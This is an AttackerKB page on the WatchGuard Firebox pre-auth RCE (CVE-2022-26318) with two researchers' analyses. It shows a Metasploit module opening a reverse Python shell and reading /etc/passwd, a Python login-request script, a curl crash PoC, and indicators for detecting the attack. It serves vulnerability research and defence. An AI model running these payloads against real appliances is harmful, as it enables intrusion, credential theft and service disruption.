Very High
CVE-2022-26318
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2022-26318
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
On WatchGuard Firebox and XTM appliances, an unauthenticated user can execute arbitrary code, aka FBX-22786. This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityLow
Technical Analysis
Almost two years ago (28 march 2022) jbaines
published some initial analysis on this vulnerability, still questioning what exactly the modus operandus is to exploit this vulnerability. On the 29th of august 2022, Charles Fol
from Ambionics Security published a blog where in much detail several vulnerabilities are explained including this one. A similar analysis was done by Dylan Pindur
, security researcher from AssetNote which reverse engineered this CVE in more detail (find his blog here).
The most interesting part for me is the fact that the WatchGuard XTM appliance is pretty well protected and hardened. For instance, there is no unix shell installed on the virtual appliance and all filesystems are protected either with read-only
or no-exec
, no-suid
options which make it pretty hard to get privileged access. The only shell access is a old python version (2.7.14) that is installed and available for exploitation.
I will not deep dive the buffer overflow (BOF) vulnerability here because it is pretty well explained in both blogs that I mentioned above.
I created a Metasploit module that you can find here as PR 18915 which will use the BOF to get a python interactive console.
The real fun starts when you have python interactive console access and try to elevate your rights to get root
on the box. You can do this by exploiting another vulnerability CVE-2022-31791.
You can read this more detail in my technical analysis here.
Module in action
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options Module options (exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas ploit.html RPORT 8080 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI / yes WatchGuard Firebox base url VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_python): Name Current Setting Required Description ---- --------------- -------- ----------- CreateSession true no Create a new session for every successful login LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port SHELL /usr/bin/python yes The system shell to use Exploit target: Id Name -- ---- 0 Automatic (Reverse Python Interactive Shell) View the full module info with the info, or info -d command.
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24 rhosts => 192.168.201.24 msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8 lhost => 192.168.201.8 msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.201.24:8080 can be exploited. [+] The target appears to be vulnerable. [*] 192.168.201.24:8080 - Attempting to exploit... [*] 192.168.201.24:8080 - Sending payload... [*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.24:40354) at 2024-03-03 19:50:17 +0000 Shell Banner: Python 2.7.14 (default, Oct 16 2019, 15:38:29) [GCC 6.5.0] on linux2 ----- >>> import os >>> import subprocess >>> os.listdir("./") ['debug', 'platform', 'log', 'wgapi', 'hosts', 'mdev.seq', 'admd.rsync', 'portald', 'portald_data', 'eth0mac', 'rs_sn', '.libtdts_ctrl.lck', 'fw', 'mwan.input', 'wgmsg', 'nwd_dfltmac', 'fqdn_dns_server_list', 'lm.conf', 'sw.conf', 'wcfqdn_label', 'ifmd.cfg.lock', 'wgif_dhcp_eth0.pid', 'wgif_dhcp_eth0_uds', 'wgif_eth1.cfg.lock', 'wgif_eth1.cfg', 'rootca', 'haopevent.log', 'keeper_init_uds', 'sslvpn', 'empty', 'certs.rsync', 'certs.unpack', 'csync', 'ldapsCA', 'iked.semid', 'system_hash.txt', 'iked.params', 'iked.pid', 'cdiag', 'lockout_users.xml', 'dxcpd', 'wgredir.txt', 'dimension', 'affinityd.err', 'wgif_eth0.cfg.lock', 'wgif_eth0.cfg', 'dhcp6d.conf', '6OGD.py', 'ifmd.cfg', 'dhcpd.conf', 'dnsmasq-internal.conf', 'radvd.conf', 'yDnm.py', 'HPM4.py'] >>> >>> os.getuid() 99 >>> os.getgid() 96 >>> print(open("/etc/passwd").read()) root:!$6$XlAENt8.$3RgXuDXBhgsf0FqJ0hrzmrh6qAhvMlCkU6Z976KIDI27gxIZOI0f27lkyJwubRxW5VaO4i9olIybS0Z2R9Ihw1:0:0:Administrator:/root:/bin/ash bin:x:1:1:bin:/bin: system:x:2:96:WG System daemons:/: nobody:x:99:99:Nobody:/: wgntp:x:98:98:OpenNTP daemon:/var/run/ntpd: openvpn:x:97:97:OpenVPN daemon:/: www:x:96:95:WebUI:/: cli:x:95:95:CLI:/: cfm:x:94:94:CFM:/var/cfm_sandbox: agent:x:93:96:WG Agent:/: scand:x:91:94:Scanning Daemon:/var/run/scand: spamd:x:90:94:Spam Daemon:/var/cfm_sandbox: sshd:x:89:89:sshd privilege separation:/var/empty: quagga:x:88:88:Quagga Dynamic Routing:/var/run/quagga: wgcha:x:92:96:WG Call Home Agent:/var/run/wgcha: netdbg:x:87:87:Diagnostic Utilities:/tmp/netdbg: cwagent:x:100:100:ConnectWise Agent:/var/empty: dimension:x:101:101:Dimension Service:/var/run/dimension: tss:x:102:102:trousers daemon:/: atagent:x:103:103:Autotask Agent:/var/empty: psad:x:104:104:PSA Daemon:/var/empty: guac:x:105:105:Guacamole Daemons:/var/run/guac: portald:x:106:105:Portald:/var/run/portald: admin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli wgadmin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli dnswatchd:x:110:96:DNSWatch Service Daemon:/var/empty: tpagent:x:111:96:Tigerpaw Agent:/var/empty: >>> print(open("/etc/group").read()) admin:x:0:0 bin:x:1:admin,bin nobody:x:99: wgntp:x:98: openvpn:x:97: wg:x:96: ui:x:95: proxy:x:94: sshd:x:89: quagga:x:88: netdbg:x:87: cwagent:x:100: dimension:x:101: tss:x:102: atagent:x:103: psad:x:104: ctlvpn:x:105: dnswatchd:x:107: >>> os.uname() ('Linux', 'FireboxV', '4.14.83', '#1 SMP Mon Sep 27 17:48:07 PDT 2021', 'x86_64') >>>
References
CVE-2022-26318
Blind exploits to rule WatchGuard firewalls by Charles Fol
Diving Deeper into WatchGuard Pre-Auth RCE – CVE-2022-26318
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download
Credits
Credits goes to Charles Fol
of Ambionics Security who discovered this vulnerability.
The reverse engineering of this CVE was performed by Dylan Pindur
from AssetNote.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
-
ExploitabilityMedium
Technical Analysis
Edit on March 28, 2022: On March 27, 2022 a proof of concept was posted to GitHub. I’m leaving the original analysis below and will add a reply comment with some additional information.
Introduction
On March 17, 2022, GreyNoise published WatchGuard CVE-2022-26318 RCE Detection, IOCs, and Prevention for Defenders. The writeup details GreyNoise’s observation of in-the-wild exploitation of CVE-2022-26318. This is particularly interesting for a few reasons:
- The affected WatchGuard products, FireBox and XTM, are firewall/VPN solutions. Making them obvious and delicious targets for attackers.
- There are a couple hundred thousand of these on Shodan.
- There is no public exploit for CVE-2022-26318. GreyNoise’s limited description is, by far, the most detailed publicly available description of what an exploit for this vulnerability might look like.
- CVE-2022-26318 appears to be related to Cyclops Blinked, Sandworm’s VPNFilter 2.0 which was recently unmasked by CISA, NSA, NCSC UK, and the FBI. Neither WatchGuard nor the various government agencies explicitly say the vulnerability is related, but it was the only unauthenticated, remote code execution issue patched at the same time as the Cyclops Blinked publication so it seems like a reasonable assumption.
The lack of proof of concept, or really any useful information about the vulnerability, is unfortunate. The CVE description provides no information about the attack vector or even what the vulnerability class might be. NVD currently has the CWE assigned as “NVD-CWE-noinfo” or “Insufficient Information”:
Patching is not always an option. Being able to mitigate an attack using a firewall is sometimes the only solution. Being able to use network signatures to block exploitation attempts, while not ideal, is sometimes all a defender has. So when NSCS UK only publishes YARA rules (which is useless on a system that blocks access to the filesystem), CISA publishes no mitigation guidance, and WatchGuard only publishes a log parser, defenders are left in a tough spot when attempting to understand their exposure and mitigation options.
Thankfully GreyNoise shared some information. But there are still questions. Is port 4117 the only affected port? Or is the default administrative webui affected as well (hint: I think it is)? Is /agent/login
the only vulnerable URI (hint: it isn’t). But there is no official information either way, so who knows.
I figured I could get the answers myself. I could quickly diff the changes between XTMv 12.1.3u7 and 12.1.3u8 and bingo bango you got an exploit. Dear reader. I’ve failed you. I looked at the diffs and I haven’t the faintest idea what this vulnerability is. So what is this write up? Well, just because I failed doesn’t mean you will. I’m going to lay out what I saw and maybe you will have better luck than me.
Getting Started
To start, we need binaries to diff. I snagged the XTMv VMWare Operating System Files here. The most current version, at the time of writing, is 12.1.3 Update 8, which is the first patched version. You can download the last unpatched version, 12.1.3 Update 7, by slightly tweaking the URL for 12.1.3 Update 8.
Once you have the XTMv ova
file, go ahead and import it and install it. You don’t need any type of license or key to get a base installation going. From there, snag the underlying .vmdk file and extract the file system using 7zip (e.g. 7z x ./xtmv_12_1_3_U8-disk1.vmdk
). You should then get a handful of mountable .img
files that contain the XTMv system.
What Now?
Having the entire filesystem is nice. But where do we start? GreyNoise’s writeup says they were seeing the vulnerability being exploited over the HTTP endpoint /agent/login on port 4117. Well, hunting in the filesystem we can find the nginx configuration for the port 4117 server:
albinolobster@ubuntu:/media/albinolobster/5d0ede31-24e7-49b6-b114-abed98c4830f$ cat ./etc/nginx/http-server-wgagent server { listen 4117 ssl; listen [::]:4117 ssl; include fastcgi_params; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param WG_SSL_SERVER_CERT /var/run/nginx/server.pem; fastcgi_request_buffering off; if ($request_method !~ ^(GET|HEAD|POST)$) { return 444; } location /agent/ { fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent; # /agent/file_action can take a while, e.g. backup fastcgi_read_timeout 10m; } location /login { # no trailing slash fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent; } location /logout { fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent; } location /ping { # no trailing slash fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent; } location /cluster/ { fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent; } }
This points to the wgagent
binary being the binary of interest. It can be found in /usr/bin/
.
What Should the Exploit Look Like?
Based on my understanding of GreyNoise’s writeup and the logic contained in wgagent
the exploit occurs during authentication. Therefore the exploit is likely to look like a variation on a valid login request like the following:
import requests import zlib import binascii from urllib3.exceptions import InsecureRequestWarning # Suppress only the single warning from urllib3 needed. requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) url = 'https://10.0.0.11:4117/agent/login' login_data = b'<methodCall><methodName>login</methodName><params><param><value><struct><member><name>password</name><value><string>readwrite</string></value></member><member><name>user</name><value><string>admin</string></value></member><member><name>domain</name><value><string>Firebox-DB</string></value></member><member><name>uitype</name><value><string>2</string></value></member></struct></value></param></params></methodCall>' extra_headers = { 'Content-Encoding': 'gzip' } comp = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15) compressed_login_data = b'\x1f\x8b\x08\x07\x41\x41\x41\x41\x41\x41' compressed_login_data += comp.compress(login_data) compressed_login_data += comp.flush() print('Uncompressed data length: %u' % len(login_data)) print('Compressed data length: %u' % len(compressed_login_data)) x = requests.post(url, data = compressed_login_data, headers = extra_headers, verify=False) print(x.status_code) print(x.text)
There are a couple of interesting tidbits about this though:
- Compression isn’t required for a login request.
wgagent
only tries to remove the compression ifContent-Encoding: gzip
is included (shocking, I know). But GreyNoise noted that the exploits they saw in the wild uses compression… So maybe that’s required for exploitation? Maybe not, who knows!
- This request also works on the default administrative webui port (8080). Which implies, to me, that 4117 is not the only vulnerable endpoint. Considering that the default webui is far more likely to be exposed to the internet, it’s a pretty important thing to keep in mind. E.g. You aren’t safe just because you blocked port 4117. Maybe you need to block 8080 as well. Who knows though! (Probably CISA and WatchGuard).
Regardless, the above code hits, at least, part of the desired code path. So now we need to hunt for the vulnerable code. Hopefully aided by binary diffing!
Ch-Ch-Ch-Ch-Changes
There are a large number of differences between 12.1.3u7 and 12.1.3u8. Unfortunately (or fortunately), WatchGuard fixed five other CVEs and a number of other issues with the update 8 release. Looking at the changes, I had a very hard time determining if some of them were because “Well, we’re in here so might as well tweak this” or actually related to a vulnerability.
Unfortunately, I don’t currently have access to diaphora. This task probably would have been easier with it, but radiff2
+ Ghidra is tolerable. The problem is, I couldn’t pinpoint any one thing that looked obviously exploitable… or even “maybe this is exploitable”. The changes seemed to fit into two categories:
Perplexing. Why was this here in the first place? Why did WatchGuard remove it now? A great example, mentioned below, is the !ENTITY logic.
Unnecessary. Why did zlib get updated? Why was password hashing standardized?
The “scary” part is both categories just show my ignorance and, worse, lack of imagination. About 90% of my vulnerability analysis skill is a weird mix of intuition+experience. And, for whatever reason, this diff has me feeling like Gandalf in Moria.
So, I can’t provide useful context to any of this, but I can point out a couple of changes that occurred along the likely exploitation path. Maybe that will spark something in someone else’s brain.
Removal of !ENTITY logic
In the following screenshot you’ll see the unpatched version of wgagent
previously search for the string “!ENTITY” in the HTTP POST payload. If found, it walks backwards through the HTTP payload updating the contents to use the local locale for… reasons. Note that this is done before decompression. Odd. But not obviously exploitable (to me).
Update of zlib
WatchGuard XTMv was using a fairly old version of zlib to inflate the compressed HTTP payload. The zlib version being used in the unpatched version, 1.2.8, just so happens to be the same version analyzed by Trail of Bits and TrustInSoft for Mozilla back in 2016. The findings were very theoretical as far as actual exploitation goes, and, to my knowledge, zlib hasn’t had any CVE since that report.
But WatchGuard upgraded to zlib 1.2.11 with this update. Did they need to do that in order to fix this vulnerability? I doubt it. But worth noting.
Add “struct” to the state machine
wgagent
uses libxml2 to parse the XML payload. But it does so, in part, by using the push parser which allows them to do some custom and stateful parsing. I very much assume the vulnerability lies in one of these functions. But the only major change was the addition of extraction and cleanup of the “<struct>
</struct>
” tags (cleanup not pictured, and see the payload above to see how <struct>
is used).
I cannot actually link this logic to anything useful. The only notable thing is that the XML payload now must have the struct tags, whereas before it was optional. Meaning, in 12.1.3u7 a request without the struct tags is accepted, but in 12.1.3u8 the request is rejected. But, again, I can’t link the added logic to any vulnerability or faulty logic… but this addition does suggest something?. Probably.
Update to standardize password hashing
After the XML parsing, the contents are obviously used for something. In this case, authentication. One change in the authentication world was the change highlighted below. FUN_004153e2
previously converted the provided user’s password into a UTF-16 representation and then MD4 hashed it. This function was deprecated in favor of a new and slightly different version of this functionality in libwgcrypto.so
.
Once again, I don’t see anything obviously wrong in FUN_004153e2
. Certainly, it makes sense to use a standard implementation in a single library but why make the change in this update?
There are a slew of other changes, but mostly they are related to the memory corruption issues in the upgrade process (I believe). And of course, I was only looking at wgagent
and associated libraries. The reality is that the vulnerability could exist elsewhere. But if you are going down this journey yourself, maybe it will help.
Final Thoughts
One thing that should be pointed out about the Cyclops Blink malware, is that the NCSC UK write up only seems to address a PowerPC variant. However, the virtualized version that I tested (XTMv) is x86 based. Does that mean NCSC UK thinks only PowerPC versions of WatchGuard appliances are affected? Or maybe Sandworm only cared about PowerPC? Or NCSC UK only saw PowerPC versions in the wild? It’s these types of questions that a well thought out report would have addressed.
Finally, as I mentioned in a Twitter thread with @wvuuuuuuuuuuuuu and @_darrenmartyn, the GreyNoise observed exploit is sort of mystifying. Why would an attacker that had achieved RCE on a system exfiltrate an entire configuration file? Especially, when the exfiltrated file isn’t the one with usernames and password hashes? Exfiltration via TFTP is just an odd choice. And I’m not sure what to make of the exploit name (test.py
). All of that would suggest an unsophisticated attacker to me… but then they’re using a vulnerability I can’t figure out. So who’s the unsophisticated one?
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportOn March 27, 2022 a proof of concept was posted to GitHub. Using the proof of concept, I was able to generate a minimized “crash” proof of concept with curl:
curl -v --insecure -d "<methodCall><methodName>login</methodName><params><param><value><struct><member>" https://10.0.0.11:4117/agent/login
As I guessed above, this also works against the default administrative web interface (port 8080 on XTMv). Both 4117 and 8080 reply with the same “502 Bad Gateway” upon crash:
albinolobster@ubuntu:~$ curl --insecure -d "<methodCall><methodName>login</methodName><params><param><value><struct><member>" https://10.0.0.11:8080/agent/login <html> <head><title>502 Bad Gateway</title></head> <body bgcolor="white"> <center><h1>502 Bad Gateway</h1></center> </body> </html>
There are two other things worth noting:
- The
/login
endpoint is also vulnerable on port 4117, so don’t key off of/agent/login
.
- Compressing the payload is not required to exploit the target.
There are some useful indicators if the attacker doesn’t clean up after themselves. First, in the administrative webui’s “Front Panel” dashboard, the “System” overview on the right will contain the number of “Fault Reports” the system has had. These are crash reports. Below you see I have three on my system. On my XTMv install, the maximum number is 3.
If you click through the “Fault Reports” or just navigate to the “Diagnostics” page, you’ll see a listing like the below indicating crashes in wgagent
.
On the same page, click the Download a Support Log File
and download a support .tar.gz
. You’ll find stack traces in /support/debug_log
using names such as wgagent.x.stacktrace
, where x
is a number 1-3.
Watchguard Crash Report --------------------------------------------- Appliance time: Mon Mar 28 14:16:48 2022 GMT (UTC+0000) Process `wgagent' with pid: 2163 / tid: 2163 died unexpectedly on signal 11 faulty address is 0x0000000000000000, from 0x00007f9047dc61d1 Stack Trace: => 0: 0x00007f9047dc61d1, in module libc.so.6@0x00007f9047ca4000 1: 0x00007f9048a7cc61, (signal_sigaction+0x1b1), in module libsignal.so@0x00007f9048a79000 2: 0x00007f904bc1f040, in module libpthread.so.0@0x00007f904bc0f000 3: 0x00007f9047dc61d1, in module libc.so.6@0x00007f9047ca4000 4: 0x000000000040573b, in module wgagent@0x0000000000400000 5: 0x000000000040a774, in module wgagent@0x0000000000400000 6: 0x000000000040faa7, in module wgagent@0x0000000000400000 7: 0x00000000004140c7, in module wgagent@0x0000000000400000 8: 0x00007f904c25408b, in module liblistener.so@0x00007f904c252000 9: 0x00007f904c25303c, (ListenLoop+0x275), in module liblistener.so@0x00007f904c252000 10: 0x0000000000414f64, in module wgagent@0x0000000000400000 11: 0x00007f9047cc5bb5, (__libc_start_main+0xf5), in module libc.so.6@0x00007f9047ca4000 12: 0x0000000000405179, in module wgagent@0x0000000000400000
CVSS V3 Severity and Metrics
General Information
Vendors
- watchguard
Products
- fireware,
- fireware 12.1.3,
- fireware 12.5.9,
- fireware 12.7.2
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
https://giphy.com/gifs/bar-minutes-progress-Gc3L1WBBvdGWA